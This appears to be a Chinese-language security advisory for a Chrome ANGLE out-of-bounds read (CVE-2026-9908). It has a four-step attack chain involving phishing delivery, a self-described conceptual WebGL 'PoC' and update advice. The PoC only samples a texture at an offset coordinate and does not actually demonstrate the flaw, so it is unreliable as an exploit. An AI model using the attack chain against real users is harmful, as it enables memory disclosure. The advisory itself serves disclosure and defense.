IPBUF安全漏洞报告
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CVE-2026-9908 CVSS 6.5 中危

CVE-2026-9908 Google Chrome ANGLE越界读取漏洞

披露日期: 2026-05-28

漏洞信息

漏洞编号
CVE-2026-9908
漏洞类型
越界读取
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Google Chrome

相关标签

越界读取Google ChromeANGLEWebGL信息泄露

漏洞概述

Google Chrome 浏览器在 148.0.7778.216 之前版本中存在安全漏洞,根源在于 ANGLE 组件的越界读取错误。远程攻击者可通过诱导用户访问特制的 HTML 页面,利用此漏洞从进程内存中获取潜在的敏感信息。该漏洞攻击复杂度低,无需身份认证,但需要用户交互,主要威胁信息的机密性。

技术细节

该漏洞位于 Google Chrome 的 ANGLE(Almost Native Graphics Layer Engine)组件中,这是一个将 WebGL/OpenGL API 调用转换为本地图形 API(如 DirectX 或 Vulkan)的抽象层。由于在处理特定的图形渲染指令或纹理数据时未正确验证内存边界,导致了越界读取(Out-of-Bounds Read)漏洞。攻击者可以构造包含恶意 WebGL 代码的 HTML 页面,当受害者使用受影响的浏览器版本访问该页面时,触发 ANGLE 组件中的逻辑错误,从而读取进程内存中超出预期缓冲区范围的数据。这些数据可能包含敏感信息,如内存地址或其他用户的交互数据。虽然该漏洞本身不会直接导致代码执行或系统崩溃,但泄露的内存信息可能被用于辅助攻击,如绕过地址空间布局随机化(ASLR),从而提升后续攻击的成功率。

攻击链分析

STEP 1
侦察
攻击者确认目标用户使用的是存在漏洞的 Google Chrome 版本(< 148.0.7778.216)。
STEP 2
构建载荷
攻击者编写包含恶意 WebGL 代码的 HTML 页面,该代码专门设计用于触发 ANGLE 组件中的越界读取错误。
STEP 3
传递载荷
攻击者通过网络钓鱼、 compromised 网站或其他诱导手段,将恶意 HTML 页面的链接发送给目标用户。
STEP 4
执行利用
目标用户点击链接并访问页面,浏览器渲染 WebGL 内容时触发漏洞,攻击者从内存中读取敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2026-9908 PoC Concept (WebGL based OOB Read) --> <!-- This is a conceptual demonstration, actual trigger requires specific shader or texture parameters --> <!DOCTYPE html> <html> <head><title>CVE-2026-9908 PoC</title></head> <body> <canvas id="glCanvas" width="640" height="480"></canvas> <script> const canvas = document.getElementById('glCanvas'); // Initialize WebGL context which uses ANGLE const gl = canvas.getContext('webgl'); if (gl) { console.log("[+] WebGL context initialized via ANGLE."); // Conceptual Fragment Shader attempting to trigger OOB read // In a real exploit, specific GLSL code would manipulate buffer indices const fragShaderSource = ` precision mediump float; uniform sampler2D uSampler; varying vec2 vTexCoord; void main() { // Attempting to access texture data outside bounds // This logic simulates the condition that triggers the vulnerability vec4 color = texture2D(uSampler, vTexCoord + vec2(9999.0, 0.0)); gl_FragColor = color; } `; // Compile and link shader program (simplified for PoC structure) const shader = gl.createShader(gl.FRAGMENT_SHADER); gl.shaderSource(shader, fragShaderSource); gl.compileShader(shader); if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) { console.log("[-] Shader compilation failed (expected in conceptual PoC)."); } else { console.log("[+] Shader compiled. If browser is vulnerable, memory may be read."); } } </script> </body> </html>

影响范围

Google Chrome < 148.0.7778.216

防御指南

临时缓解措施
建议用户立即检查并安装 Google Chrome 的最新安全更新,以修复 ANGLE 组件中的越界读取漏洞。在未完成修复前,应避免点击不明链接或访问不可信的网站,以防止加载恶意 WebGL 内容导致信息泄露。

参考链接

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